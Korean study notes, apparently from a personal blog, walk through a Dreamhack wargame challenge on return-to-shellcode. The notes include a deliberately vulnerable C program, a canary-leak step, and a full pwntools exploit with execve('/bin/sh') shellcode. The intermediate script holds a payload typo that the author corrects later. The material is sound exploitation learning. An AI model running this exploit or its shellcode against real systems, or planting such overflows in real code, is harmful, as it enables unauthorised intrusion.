Exploit Tech: Return to Shellcode
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50];
init();
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
보호기법 탐지
적용된 보호기법 파악 -> checksec 툴 사용
RELRO, Canary, NX, PIE 파악 가능

취약점 탐색
1. buf의 주소
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
buf 주소와 buf, rbp 사이 거리 알려줌
2. 스택 버퍼 오버플로우
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
두 곳에서 오버플로우 발생
익스플로잇 시나리오
- 카나리 우회
read함수에서 카나리 출력시키기 - 셸 획득
gets함수에서 쉘코드 작성하고 반환 주소 덮기
익스플로잇
1. 스택 프레임 정보 수집
# name: r2s.py
from pwn import *
p=remote('host3',port)
def slog(n, m): return success(': '.join([n, hex(m)]))
context.arch = 'amd64'
# buf 주소 출력
p.recvuntil(b'buf: ')
buf=int(p.recvline()[:-1],16)
slog('Address of buf', buf)
# buf와 sfp 거리 출력
p.recvuntil(b'$rbp: ')
bufrbp=int(p.recvline().split()[0])
slog('buf <=> sfp', bufrbp)
# buf와 canary 거리 출력
bufcanary=bufrbp-8
slog('buf <=> canary', bufcanary)
모르는 파이썬 문법은 접은 글로 정리
-
success와 join
success: 통신 성공 시 호출하는 함수
join: 리스트 요소를 하나로 합쳐줌
‘: ‘.join([0,1]) 이면 0: 1 -
context.arch 설정 이유
아키텍처 설정, amd64 x86-64, i386 x86, arm arm -
[:-1]
[ 이상 : 미만 ]
본 코드에 나온 [:-1]은 마지막 데이터 제외 모든 데이터
2. 카나리 릭
# 카나리 값 노출
payload=b'A'*(bufcanary+1) #nullbyte까지 덮어주기
p.sendafter(b'Input:', payload)
p.recvuntil(payload)
cnry = u64(b'\x00'+p.recvn(7))
slog('Canary', cnry)
3. 익스플로잇
shellcode=b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
payload2=shellcode+b'A'*(0x58-0x23)+p64(cnry)+b'B'*0x8+p64(buf)
p.sendlineafter(b'Input:', payload)
p.interactive()
4. 풀 익스플로잇
# name: r2s.py
from pwn import *
p=remote('host3.dreamhack.games',10520)
def slog(n, m): return success(': '.join([n, hex(m)]))
context.arch = 'amd64'
# buf 주소 출력
p.recvuntil(b'buf: ')
buf=int(p.recvline()[:-1],16)
slog('Address of buf', buf)
# buf와 sfp 거리 출력
p.recvuntil(b'$rbp: ')
bufrbp=int(p.recvline().split()[0])
slog('buf <=> sfp', bufrbp)
# buf와 canary 거리 출력
bufcanary=bufrbp-8
slog('buf <=> canary', bufcanary)
# 카나리 값 노출
payload=b'A'*(bufcanary+1) #nullbyte까지 덮어주기
p.sendafter(b'Input:', payload)
p.recvuntil(payload)
cnry = u64(b'\x00'+p.recvn(7))
slog('Canary', cnry)
shellcode=b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
payload2=shellcode+b'A'*(0x58-len(shellcode))+p64(cnry)+b'B'*0x8+p64(buf)
p.sendlineafter(b'Input:', payload2)
p.interactive()
실행하면서 조금 더 바꿨는데 일단 slog에 변수 잘못 작성한 거 고쳐줬고
- payload2로 send(payload라고 잘못썼더라)
- shellcode 23바이트래서 0x58-0x23해줬는데 자꾸 안되길래 len(shellcode)로 바꿔주었다
